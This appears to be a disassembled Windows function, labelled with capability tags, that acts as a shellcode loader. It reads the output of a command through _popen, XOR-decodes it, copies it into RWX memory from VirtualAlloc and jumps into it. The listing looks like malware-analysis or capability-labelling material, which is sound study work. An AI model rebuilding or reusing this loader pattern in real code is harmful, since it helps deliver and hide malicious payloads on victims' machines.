Function at 0x140026830
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
endbr64
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xd8
call dbg.__main
lea rcx, [rsp + 0x50]
lea r8, [0x14002a0f8]
lea rax, [rsp + 0x60]
lea rdx, [r8 - 0x90]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x50], rax
lea r13, [rsp + 0x80]
call fcn.140001540
lea r8, [0x14002a0fc]
mov byte [rsp + 0x4f], 0
lea rcx, [rsp + 0x90]
lea rax, [rsp + 0xa0]
lea rdx, [r8 - 3]
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 0
mov byte [rsp + 0x80], 0
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x90], rax
call fcn.140001540
mov rcx, qword [rsp + 0x50]
lea rdx, [0x14002a0fd]
call qword [sym.imp.msvcrt.dll__popen]
mov r12, rax
test rax, rax
je 0x140026bcf
lea r14, [rsp + 0x4f]
jmp 0x140026903
mov byte [r15 + rbx], bpl
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rsi
mov byte [rax + rbx + 1], 0
mov r9, r12
mov r8d, 1
mov edx, 1
mov rcx, r14
call sub.msvcrt.dll_fread
mov rbx, rax
test rax, rax
je 0x1400269f8
mov rbx, qword [rsp + 0x78]
mov r15, qword [rsp + 0x70]
movzx ebp, byte [rsp + 0x4f]
lea rsi, [rbx + 1]
cmp r15, r13
je 0x1400269b0
mov rdi, qword [rsp + 0x80]
cmp rdi, rsi
jae 0x1400268f0
test rsi, rsi
js 0x140026be5
add rdi, rdi
cmp rsi, rdi
jb 0x140026bb7
mov rcx, rbx
add rcx, 2
js 0x140026bbc
mov rdi, rsi
call sym.operator_new_unsigned_long_long_
mov r10, qword [rsp + 0x70]
mov r15, rax
test rbx, rbx
jne 0x1400269d1
cmp r10, r13
je 0x14002699a
mov rax, qword [rsp + 0x80]
mov rcx, r10
lea rdx, [rax + 1]
call dbg.operator delete(void*, unsigned long long)
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x80], rdi
jmp 0x1400268f0
cmp rsi, 0x10
jne 0x1400268f0
mov ecx, 0x1f
call sym.operator_new_unsigned_long_long_
mov r10, qword [rsp + 0x70]
mov r15, rax
mov edi, 0x1e
cmp rbx, 1
je 0x140026b56
mov rdx, r10
mov r8, rbx
mov rcx, r15
mov qword [rsp + 0x28], r10
call sym.memcpy
mov r10, qword [rsp + 0x28]
jmp 0x140026981
mov rcx, r12
call qword [sym.imp.msvcrt.dll__pclose]
mov rsi, qword [rsp + 0x78]
lea rcx, [rsp + 0xc0]
mov rdi, qword [rsp + 0x70]
mov qword [rsp + 0xb0], rcx
cmp rsi, 0xf
ja 0x140026b81
cmp rsi, 1
je 0x140026b28
test rsi, rsi
jne 0x140026ba7
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xb8], rsi
mov byte [rax + rsi], 0
cmp qword [rsp + 0x78], 0
je 0x140026aa8
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x98]
xor edx, edx
movzx r8d, byte [rax + rbx]
mov rax, rbx
div rcx
cmp rcx, rdx
jb 0x140026b37
mov rax, qword [rsp + 0x90]
xor r8b, byte [rax + rdx]
cmp qword [rsp + 0xb8], rbx
jb 0x140026b62
mov rax, qword [rsp + 0xb0]
mov byte [rax + rbx], r8b
add rbx, 1
cmp rbx, qword [rsp + 0x78]
jb 0x140026a54
mov rdx, qword [rsp + 0xb8]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rcx, rax
test rax, rax
je 0x140026bfd
mov r8, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xb0]
call sym.memcpy
call rax
lea rcx, [rsp + 0xb0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_dispose__
mov rcx, qword [rsp + 0x30]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_dispose__
lea rcx, [rsp + 0x70]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_dispose__
mov rcx, qword [rsp + 0x38]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_dispose__
xor eax, eax
add rsp, 0xd8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [rdi]
mov byte [rsp + 0xc0], al
jmp 0x140026a38
lea r9, str.__pos___size__
lea r8, str.constexpr_std::__cxx11::basic_string__CharT___Traits___Alloc_::const_reference_std::__cxx11::basic_string__CharT___Traits___Alloc_::operator___size_type__const__with__CharT__char___Traits__std::char_traits_char____Alloc__std::allocator_char___const_reference__const_char__size_type__long_long_unsigned_int_
mov edx, 0x4d5
lea rcx, str._usr_x86_64_w64_mingw32_include_c_13.1.0_bits_basic_string.h
call dbg.std::__glibcxx_assert_fail(char const*, int, char const*, char const*)
movzx eax, byte [r10]
mov byte [r15], al
jmp 0x140026981
lea r9, str.__pos___size__
lea r8, str.constexpr_std::__cxx11::basic_string__CharT___Traits___Alloc_::reference_std::__cxx11::basic_string__CharT___Traits___Alloc_::operator___size_type___with__CharT__char___Traits__std::char_traits_char____Alloc__std::allocator_char___reference__char__size_type__long_long_unsigned_int_
mov edx, 0x4e9
lea rcx, str._usr_x86_64_w64_mingw32_include_c_13.1.0_bits_basic_string.h
call dbg.std::__glibcxx_assert_fail(char const*, int, char const*, char const*)
test rsi, rsi
js 0x140026bf1
mov rcx, rsi
add rcx, 1
js 0x140026bca
call sym.operator_new_unsigned_long_long_
mov qword [rsp + 0xb0], rax
mov rcx, rax
mov qword [rsp + 0xc0], rsi
mov r8, rsi
mov rdx, rdi
call sym.memcpy
jmp 0x140026a38
test rdi, rdi
jns 0x140026bc1
call dbg.std::__throw_bad_alloc()
lea rcx, [rdi + 1]
jmp 0x14002696f
call dbg.std::__throw_bad_alloc()
lea rcx, str.popen___failed.
call sym.perror
mov ecx, 1
call sym.exit
lea rcx, [0x14002a050]
call dbg.std::__throw_length_error(char const*)
lea rcx, [0x14002a050]
call dbg.std::__throw_length_error(char const*)
lea rcx, str.Memory_allocation_failed
call sym.perror
jmp 0x140026bdb